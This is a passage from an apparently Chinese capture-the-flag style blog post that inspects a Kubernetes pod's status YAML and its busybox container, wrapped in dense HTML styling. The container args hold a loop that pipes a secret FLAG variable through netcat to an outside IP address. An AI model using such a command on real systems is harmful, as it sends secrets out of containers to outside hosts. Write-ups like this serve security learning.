UI;font-variant:normal;text-transform:none;color:#0077AA;">type</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> Initialized          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">lastProbeTime</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;font-weight:bold;mso-bidi-font-weight:bold;">null</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">lastTransitionTime</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;2023-12-<span style="color: rgb(102, 153, 0);font-family: Consolas;letter-spacing: 0.578px;text-align: left;text-wrap: wrap;background-color: rgb(246, 245, 245);">30</span>T04:40:10Z&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">status</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;True&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">type</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> Ready          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">lastProbeTime</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;font-weight:bold;mso-bidi-font-weight:bold;">null</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">lastTransitionTime</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;2023-12-<span style="color: rgb(102, 153, 0);font-family: Consolas;letter-spacing: 0.578px;text-align: left;text-wrap: wrap;background-color: rgb(246, 245, 245);">30</span>T04:40:10Z&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">status</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;True&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">type</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> ContainersReady          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">lastProbeTime</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;font-weight:bold;mso-bidi-font-weight:bold;">null</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">lastTransitionTime</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;2023-12-<span style="color: rgb(102, 153, 0);font-family: Consolas;letter-spacing: 0.578px;text-align: left;text-wrap: wrap;background-color: rgb(246, 245, 245);">30</span>T04:39:56Z&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">status</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;True&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">type</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> PodScheduled          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">containerStatuses</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">containerID</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> containerd</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">//71beab835e77a195155d78ab1bc20d379b175f1a133797e06ac5fbbdb6799783          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">image</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> docker.io/library/busybox</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">latest          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">imageID</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> docker.io/library/busybox@sha256</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">ba76950ac9eaa407512c9d859cea48114eeff8a6f12ebaa5d32ce79d4a017dd8          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">lastState</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">{}</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">name</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> container          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">ready</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;font-weight:bold;mso-bidi-font-weight:bold;">true</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">restartCount</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">0</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">started</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;font-weight:bold;mso-bidi-font-weight:bold;">true</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">state</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">running</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">        </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">startedAt</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;2023-12-<span style="color: rgb(102, 153, 0);font-family: Consolas;letter-spacing: 0.578px;text-align: left;text-wrap: wrap;background-color: rgb(246, 245, 245);">30</span>T04:40:09Z&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">hostIP</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> 172.18.0.60          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">phase</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> Running          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">podIP</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> 192.168.11.129          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">podIPs</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">ip</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> 192.168.11.129          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">qosClass</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> BestEffort          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">startTime</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;2023-12-30T04:39:56Z&#34;</span><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"></span>    <span style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;">      </span><o:p style="font-size: var(--articleFontsize);letter-spacing: 0.034em;font-family: &#34;Microsoft YaHei UI&#34;;"> </o:p></p><p style="text-align:left;"><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">我们只要看一下 busybox 执行了什么</span><br/></p><p style="text-align:left;border-top:solid #E9E7E7 1.0pt;border-left:solid #E9E7E7 1.0pt;border-bottom:solid #E9E7E7 1.0pt;border-right:solid #E9E7E7 1.0pt;mso-padding-alt:8.0pt 8.0pt 8.0pt 8.0pt;padding:8.0pt 8.0pt 8.0pt 8.0pt;background:#F6F5F5;"><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">containers:          <br/><span style="mso-spacerun:yes;">  </span>- args:          <br/><span style="mso-spacerun:yes;">    </span>- </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;">-c</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span>- </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">while</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">true</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">do</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">echo</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;">$FLAG</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#9A6E3A;">|</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">nc</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">1.1</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">.1.1 </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">80</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#9A6E3A;">||</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">continue</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">echo</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#39;Flag Send&#39;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei 